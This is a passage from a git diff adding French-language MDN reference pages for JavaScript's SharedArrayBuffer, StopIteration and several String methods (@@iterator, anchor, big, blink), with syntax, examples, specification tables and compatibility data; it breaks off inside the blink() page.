+<h3 id="Allouer_et_partager_la_mémoire">Allouer et partager la mémoire</h3>
+
+<p>Pour partager une zone mémoire entre plusieurs objets {{jsxref("SharedArrayBuffer")}} d'un agent à un autre (ici un agent correspond au programme principal de la page web ou à l'un de ses <em>web workers</em>), on utilise <code><a href="/fr/docs/Web/API/Worker/postMessage">postMessage</a></code> et <a href="/fr/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">le clonage structuré</a>.</p>
+
+<p>L'algorithme de clonage structuré permet d'envoyer des objets <code>SharedArrayBuffers</code> et <code>TypedArrays</code> vers <code>SharedArrayBuffers</code>. Dans les deux cas, l'objet <code>SharedArrayBuffer</code> est transmis au récepteur, ce qui crée un nouvel objet <code>SharedArrayBuffer</code>, privé, au sein de l'agent qui reçoit (comme avec  {{jsxref("ArrayBuffer")}}). Cependant, le bloc de mémoire référencé par les deux objets <code>Shared</code><code>ArrayBuffer</code> est bien le même bloc. Aussi, si un agent interagit avec cette zone, l'autre agent pourra voir les modifications.</p>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+worker.postMessage(sab);
+</pre>
+
+<h3 id="Mettre_à_jour_et_synchroniser_la_mémoire_partagée_avec_les_opérations_atomiques">Mettre à jour et synchroniser la mémoire partagée avec les opérations atomiques</h3>
+
+<p>La mémoire partagée peut être créée et mise à jour de façon simultanée entre les <em>workers</em> et le <em>thread</em> d'exécution principal. Selon le système (le processeur, le système d'exploitation, le navigateur), cela peut prendre du temps avant que le changement soit propagé sur l'ensemble des contextes. Pour que la synchronisation s'effectue, on doit utiliser les opérations {{jsxref("Atomics", "atomiques", "", 1)}}.</p>
+
+<h3 id="Les_API_qui_utilisent_des_objets_SharedArrayBuffer">Les API qui utilisent des objets <code>SharedArrayBuffer</code></h3>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bufferData()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bufferSubData()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.getBufferSubData()")}}</li>
+</ul>
+
+<h3 id="Obligation_d'utiliser_l'opérateur_new">Obligation d'utiliser l'opérateur <code>new</code></h3>
+
+<p>Les constructeurs <code>SharedArrayBuffer</code> doivent être utilisés avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Si on appelle un constructeur <code>SharedArrayBuffer</code> comme une fonction, sans <code>new</code>, cela lèvera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var sab = SharedArrayBuffer(1024);
+// TypeError: appeler le constructeur natif SharedArrayBuffer sans
+// new est interdit</pre>
+
+<pre class="brush: js example-good">var sab = new SharedArrayBuffer(1024);</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>SharedArrayBuffer.length</code></dt>
+ <dd>La propriété de longueur pour le constructeur <code>SharedArrayBuffer</code> dont la valeur est 1.</dd>
+ <dt>{{jsxref("SharedArrayBuffer.prototype")}}</dt>
+ <dd>Le prototype permet d'ajouter des propriétés à l'ensemble des objets <code>SharedArrayBuffer</code>.</dd>
+</dl>
+
+<h2 id="Le_prototype_de_SharedArrayBuffer">Le prototype de <code>SharedArrayBuffer</code></h2>
+
+<p>Toutes les instances de <code>SharedArrayBuffer</code> héritent de {{jsxref("SharedArrayBuffer.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/prototype','Propriétés')}}</p>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<p>{{page('fr/Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/prototype','Méthodes')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.SharedArrayBuffer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li><a href="/fr/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="https://github.com/lars-t-hansen/parlib-simple">parlib-simple </a>– un bibliothèque simple qui fournit des abstractions pour synchroniser et distribuer des tâches</li>
+ <li><a href="https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md">La mémoire partagée – un rapide tutoriel</a></li>
+ <li><a href="https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/">A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/prototype/index.html
new file mode 100644
index 0000000000..678759cf0f
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/prototype/index.html
@@ -0,0 +1,66 @@
+---
+title: SharedArrayBuffer.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/prototype
+tags:
+  - JavaScript
+  - Mémoire partagée
+  - Propriété
+  - Reference
+  - SharedArrayBuffer
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>SharedArrayBuffer.prototype</code></strong> représente le prototype de l'objet {{jsxref("SharedArrayBuffer")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de <code>SharedArrayBuffer</code> héritent de <code>SharedArrayBuffer.prototype</code>. Comme avec les autres constructeurs, il est possible de changer le constructeur de l'objet prototype afin de modifier l'ensemble des instancees de <code>SharedArrayBuffer</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>SharedArrayBuffer.prototype.constructor</dt>
+ <dd>Cette méthode définit la fonction qui crée le prototype d'un objet. La valeur initiale de cette méthode est le constructeur natif <code>SharedArrayBuffer</code>.</dd>
+ <dt>{{jsxref("SharedArrayBuffer.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>La taille, exprimée en octets, du tableau. Elle est définie lorsque le tableau est construit et elle ne peut pas être modifiée par la suite. <strong>Propriété en lecture seule</strong><strong>.</strong></dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("SharedArrayBuffer.slice", "SharedArrayBuffer.prototype.slice(début, fin)")}}</dt>
+ <dd>Cette méthode renvoie un nouvel <code>SharedArrayBuffer</code> dont le contenu est une copie des octets de cet <code>SharedArrayBuffer</code>'s entre un indice de début et un indice de fin. Si cet indice de début ou de fin est négatif, cela représentera l'indice à partir de la fin du tableau.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype', 'SharedArrayBuffer.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.SharedArrayBuffer.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/slice/index.html b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/slice/index.html
new file mode 100644
index 0000000000..3bf6abe8af
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/sharedarraybuffer/slice/index.html
@@ -0,0 +1,92 @@
+---
+title: SharedArrayBuffer.prototype.slice()
+slug: Web/JavaScript/Reference/Objets_globaux/SharedArrayBuffer/slice
+tags:
+  - JavaScript
+  - Mémoire partagée
+  - Méthode
+  - Prototype
+  - Reference
+  - SharedArrayBuffer
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/slice
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>SharedArrayBuffer.prototype.slice()</strong></code> renvoie un nouvel objet {{jsxref("SharedArrayBuffer")}} dont le contenu est une copie des octets de l'objet <code>SharedArrayBuffer</code> courant entre un indice de début (inclus) et un indice de fin (exclus) (autrement dit, on copie une « tranche » du tampon courant). Si l'indice de début ou de fin est négatif, la position sera comptée à partir de la fin du tableau plutôt qu'à partir du début. L'algorithme appliqué est le même que {{jsxref("Array.prototype.slice()")}}<em>.</em></p>
+
+<div>{{EmbedInteractiveExample("pages/js/sharedarraybuffer-slice.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>sab</var>.slice()
+<var>sab</var>.slice(début)
+<var>sab</var>.slice(début, fin)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>début</code> {{optional_inline}}</dt>
+ <dd>
+ <p>L'indice auquel commencer l'extraction (le début du tableau se situe à l'indice 0).</p>
+
+ <p>Si la valeur est négative, <code>début</code> indique le décalage à partir de la fin du tableau. Ainsi <code>slice(-2)</code> permettra d'extraire les deux derniers éléments du tableau.</p>
+
+ <p>Si <code>début</code> est absent, <code>slice</code> commencera l'extraction à partir de l'indice 0.</p>
+ </dd>
+ <dt><code>fin</code> {{optional_inline}}</dt>
+ <dd>
+ <p>L'indice auquel finir l'extraction. Attention, la valeur du tableau pour cet indice n'est pas incluse dans l'extraction.</p>
+
+ <p>Ainsi, <code>slice(1,4)</code> permettra d'extraire entre le deuxième et le quatrième élément (c'est-à-dire les trois éléments dont les indices sont respectivement 1, 2 et 3).</p>
+
+ <p>Si <code>fin</code> est un indice négatif, il indique le décalage à partir de la fin du tableau. Autrement dit <code>slice(2,-1)</code> permettra d'extraire les éléments du tampon à partir du troisième élément et jusqu'à l'avant-avant-dernier élément.</p>
+
+ <p>Si <code>fin</code> est absent, <code>slice</code> réalisera l'extraction jusqu'à la fin de la séquence (<code>sab.byteLength</code>).</p>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet {{jsxref("SharedArrayBuffer")}} qui contient les éléments extraits.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var sab = new SharedArrayBuffer(1024);
+sab.slice();    // SharedArrayBuffer { byteLength: 1024 }
+sab.slice(2);   // SharedArrayBuffer { byteLength: 1022 }
+sab.slice(-2);  // SharedArrayBuffer { byteLength: 2 }
+sab.slice(0,1); // SharedArrayBuffer { byteLength: 1 }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype.slice', 'SharedArrayBuffer.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définition initiale avec ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.SharedArrayBuffer.slice")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/stopiteration/index.html b/files/fr/web/javascript/reference/objets_globaux/stopiteration/index.html
new file mode 100644
index 0000000000..5b26730085
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/stopiteration/index.html
@@ -0,0 +1,115 @@
+---
+title: StopIteration
+slug: Web/JavaScript/Reference/Objets_globaux/StopIteration
+tags:
+  - JavaScript
+  - Legacy Iterator
+  - Reference
+  - Référence(2)
+  - StopIteration
+translation_of: Archive/Web/StopIteration
+---
+<div>{{jsSidebar("Objects")}}{{deprecated_header}}</div>
+
+<div class="warning"><strong>Non standard.</strong> L'objet <code><strong>StopIteration</strong></code> est une fonctionnalité propre à SpiderMonkey. Pour utiliser des fonctions pérennes, préférez les boucles {{jsxref("Instructions/for...of", "for...of")}} et le <a href="/fr/docs/Web/JavaScript/Guide/Le_protocole_iterator">protocole itérateur</a>.</div>
+
+<p>L'objet <code><strong>StopIteration</strong></code> est une exception levée lorsque l'on cherche à accéder au prochain élément d'un itérateur épuisé et implémentant le protocole itérateur historique.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">StopIteration</pre>
+
+<h2 id="Description">Description</h2>
+
+<p><code>StopIteration</code> est un élément lié à l'ancien protocole pour les itérateurs. Il sera retiré en même temps que les itérateurs et générateurs historiques (pour être remplacé par l'équivalent ECMAScript2015/ECMAScript6).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p><code>StopIteration</code> est levée par l'objet {{jsxref("Objets_globaux/Iterator", "Iterator")}}.</p>
+
+<pre class="brush: js">var a = {
+  x: 10,
+  y: 20
+};
+var iter = Iterator(a);
+console.log(iter.next()); // ["x", 10]
+console.log(iter.next()); // ["y", 20]
+console.log(iter.next()); // lève StopIteration
+</pre>
+
+<p>Lever <code>StopIteration</code> directement.</p>
+
+<pre class="brush: js">function f() {
+  yield 1;
+  yield 2;
+  throw StopIteration;
+  yield 3; // cette ligne ne sera jamais exécutée
+}
+
+for (var n in f()) {
+  console.log(n);   // imprime 1, puis 2, mais pas 3
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Non standard. Ne fait partie d'aucun standard.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">Itérateurs and générateurs historiques</a></li>
+ <li>{{jsxref("Objets_globaux/Iterator", "Iterator")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/@@iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/string/@@iterator/index.html
new file mode 100644
index 0000000000..ada824203d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/@@iterator/index.html
@@ -0,0 +1,89 @@
+---
+title: 'String.prototype[@@iterator]()'
+slug: Web/JavaScript/Reference/Objets_globaux/String/@@iterator
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/@@iterator
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>[@@iterator]()</code></strong> renvoie un nouvel objet <code><a href="/fr/docs/Web/JavaScript/Guide/Le_protocole_iterator">Iterator</a></code> qui itère sur les points de code (codets) d'une chaîne de caractères, en renvoyant chaque point de code sous forme d'une chaîne de caractères.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-iterator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>chaîneDeCaractères</var>[Symbol.iterator]</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Iterator</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_iterator()">Utiliser <code>[@@iterator]()</code></h3>
+
+<pre class="brush:js">var chaîne = "A\uD835\uDC68";
+
+var chaîneIter = chaîne[Symbol.iterator]();
+
+console.log(chaîneIter.next().value); // "A"
+console.log(chaîneIter.next().value); // "\uD835\uDC68"
+</pre>
+
+<h3 id="Utiliser_iterator()_avec_une_boucle_for..of">Utiliser <code>[@@iterator]()</code> avec une boucle <code>for..of</code></h3>
+
+<pre class="brush:js">var chaine = "A\uD835\uDC68B\uD835\uDC69C\uD835\uDC6A";
+
+for (var c of chaine) {
+  console.log(c);
+}
+// "A"
+// "\uD835\uDC68"
+// "B"
+// "\uD835\uDC69"
+// "C"
+// "\uD835\uDC6A"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-string.prototype-@@iterator', 'String.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype-@@iterator', 'String.prototype[@@iterator]()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.@@iterator")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">Les protocoles d'itération</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/anchor/index.html b/files/fr/web/javascript/reference/objets_globaux/string/anchor/index.html
new file mode 100644
index 0000000000..b5f3fb1ea1
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/anchor/index.html
@@ -0,0 +1,86 @@
+---
+title: String.prototype.anchor()
+slug: Web/JavaScript/Reference/Objets_globaux/String/anchor
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/String/anchor
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>anchor()</strong></code> permet de créer une ancre HTML {{HTMLElement("a")}} qui est utilisé comme cible hypertexte.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.anchor(<var>name</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Une chaîne de caractères représentant l'attribut <code>name</code> de la balise à créér.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente un élément HTML {{HTMLElement("a")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>On utilise la méthode <code>anchor()</code> pour créer et afficher des ancres dans un document HTML à l'aide de JavaScript.</p>
+
+<p>Ici la chaîne représente le texte que verra l'utilisateur. Le paramètre <code>name</code> représente l'attribut <code>name</code> de l'élément {{HTMLElement("a")}}.</p>
+
+<p>Les ancres créées avec la méthode <code>anchor</code> deviennent des éléments accessibles à travers le tableau {{domxref("document.anchors")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var maChaîne = "Table des matières";
+
+document.body.innerHTML = maChaîne.anchor("ancre_contenu");</pre>
+
+<p>produira le code HTML suivant :</p>
+
+<pre class="brush: html">&lt;a name="ancre_contenu"&gt;Table des matières&lt;/a&gt;</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<pre class="brush: js">if (!String.prototype.anchor){
+  String.prototype.anchor = function(x){
+    return '&lt;a name="' + x + '"&gt;' + this + '&lt;/a&gt;'
+  };
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.anchor', 'String.prototype.anchor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0. Défini dans l'annexe (normative) B sur les fonctionnalités additionnelles des navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.anchor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.link()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/big/index.html b/files/fr/web/javascript/reference/objets_globaux/string/big/index.html
new file mode 100644
index 0000000000..f661ae9149
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/big/index.html
@@ -0,0 +1,81 @@
+---
+title: String.prototype.big()
+slug: Web/JavaScript/Reference/Objets_globaux/String/big
+tags:
+  - Dépréciée
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/big
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La méthode <code><strong>big()</strong></code> crée un élément HTML {{HTMLElement("big")}} qui affichera la chaine de caractères avec une taille de police importante.</p>
+
+<div class="note">
+<p><strong>Note d'utilisation :</strong> L'élément <code>&lt;big&gt;</code> a été retiré de <a href="/fr/docs/Web/Guide/HTML/HTML5">HTML5</a> et ne doit pas être utilisé. À la place, les développeurs web doivent utiliser les propriétés <a href="/fr/docs/Web/CSS">CSS</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.big()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente un élément HTML {{HTMLElement("big")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>big()</code> place la chaine de caractères dans une balise <code>&lt;big&gt;</code> :<br>
+ <code>"&lt;big&gt;str&lt;/big&gt;</code>"</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant montre les méthodes de <code>String</code> pour changer la taille d'une chaine de caractères :</p>
+
+<pre class="brush:js">var chaîneMonde = "Coucou monde";
+
+console.log( chaîneMonde.small()     ); // &lt;small&gt;Coucou monde&lt;/small&gt;
+console.log( chaîneMonde.big()       ); // &lt;big&gt;Coucou monde&lt;/big&gt;
+console.log( chaîneMonde.fontsize(7) ); // &lt;fontsize=7&gt;Coucou monde&lt;/fontsize&gt;</pre>
+
+<p>Avec l'objet {{domxref("HTMLElement.style", "element.style")}}, il est possible d'accéder à l'attribut <code>style</code> de l'élément et de le manipuler. Par exemple :</p>
+
+<pre class="brush: js">document.getElementById('idÉlément').style.fontSize = '2em'</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.big', 'String.prototype.big')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe normative pour les fonctionnalités supplémentaires des navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.big', 'String.prototype.big')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript supplémentaires des navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.big")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+ <li>{{jsxref("String.prototype.small()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/blink/index.html b/files/fr/web/javascript/reference/objets_globaux/string/blink/index.html
new file mode 100644
index 0000000000..086a52c93b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/blink/index.html
@@ -0,0 +1,85 @@
+---
+title: String.prototype.blink()
+slug: Web/JavaScript/Reference/Objets_globaux/String/blink
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/blink
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La méthode <code><strong>blink()</strong></code> crée un élément HTML {{HTMLElement("blink")}} qui affiche la chaine de caractères en clignotant.</p>
+
+<div class="warning"><strong>Avertissement :</strong> Les textes clignotants sont fortement déconseillés par de nombreux standards d'accessibilité. L'élément <code>&lt;blink&gt;</code> est lui-même non standard et obsolète !</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.blink()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaine de caractères représentant un élément HTML {{HTMLElement("blink")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>blink()</code> place la chaine de caractères dans une balise <code>&lt;blink&gt;</code> :<br>
+ <code>"&lt;blink&gt;str&lt;/blink&gt;</code>"</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant utilise des méthodes de <code>String</code> pour changer l'affichage d'une chaine de caractères :</p>
+
+<pre class="brush:js">var chaîneMonde = "Coucou monde";
+
+console.log(chaîneMonde.blink());
+console.log(chaîneMonde.bold());
+console.log(chaîneMonde.italics());
+console.log(chaîneMonde.strike());</pre>
+
